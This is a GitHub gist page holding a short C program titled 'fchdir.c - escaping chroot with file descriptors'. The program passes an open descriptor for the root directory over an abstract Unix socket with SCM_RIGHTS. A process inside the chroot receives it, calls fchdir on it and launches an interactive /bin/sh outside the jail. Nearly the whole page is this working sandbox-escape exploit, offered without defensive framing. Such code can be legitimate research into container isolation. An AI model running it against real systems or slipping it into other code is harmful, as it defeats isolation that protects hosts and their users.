Skip to content

Instantly share code, notes, and snippets.

@alban
Created March 11, 2015 12:27
Show Gist options
  • Save alban/f4147ef7dcbc606ab95f to your computer and use it in GitHub Desktop.
Save alban/f4147ef7dcbc606ab95f to your computer and use it in GitHub Desktop.
fchdir.c - escaping chroot with file descriptors
/* Send or receive the file descriptor of "/"
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
int
main(int argc, char **argv)
{
int dir_fd, fd, ret;
struct sockaddr addr;
struct msghdr msgh;
struct iovec iov;
char data;
union {
struct cmsghdr cmh;
char control[CMSG_SPACE(sizeof(int))];
/* Space large enough to hold an 'int' */
} control_un;
struct cmsghdr *cmhp;
if (argc < 2)
return 1;
memset(&addr, 0, sizeof(addr));
memset(&msgh, 0, sizeof(msgh));
fd = socket(AF_UNIX, SOCK_DGRAM, 0);
addr.sa_family = AF_UNIX;
strcpy(addr.sa_data, " /fchdir");
addr.sa_data[0] = '\0';
if (strcmp("recv", argv[1]) == 0)
ret = bind(fd, &addr, sizeof(struct sockaddr));
msgh.msg_iov = &iov;
msgh.msg_iovlen = 1;
iov.iov_base = &data;
iov.iov_len = sizeof(int);
data = '\0';
/* We don't need to specify destination address, because we use
connect() below */
msgh.msg_name = &addr;
msgh.msg_namelen = sizeof(addr);
msgh.msg_control = control_un.control;
msgh.msg_controllen = sizeof(control_un.control);
if (argc > 2 && strcmp("send", argv[1]) == 0) {
dir_fd = open(argv[2], O_RDONLY);
} else {
dir_fd = open("/", O_RDONLY);
}
/* Set message header to describe ancillary data that we want to send */
cmhp = CMSG_FIRSTHDR(&msgh);
cmhp->cmsg_len = CMSG_LEN(sizeof(int));
cmhp->cmsg_level = SOL_SOCKET;
cmhp->cmsg_type = SCM_RIGHTS;
*((int *) CMSG_DATA(cmhp)) = dir_fd;
if (strcmp("send", argv[1]) == 0)
sendmsg(fd, &msgh, 0);
if (strcmp("recv", argv[1]) == 0) {
ret = recvmsg(fd, &msgh, 0);
if (cmhp->cmsg_type != SCM_RIGHTS)
return 1;
dir_fd = *((int *) CMSG_DATA(cmhp));
printf("Received fd %d\n", dir_fd);
if (strcmp("chdir", argv[2]) == 0) {
fchdir(dir_fd);
execl("/bin/sh", "sh", "-i", (char *)0);
}
if (strcmp("sleep", argv[2]) == 0) {
sleep(84000);
}
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment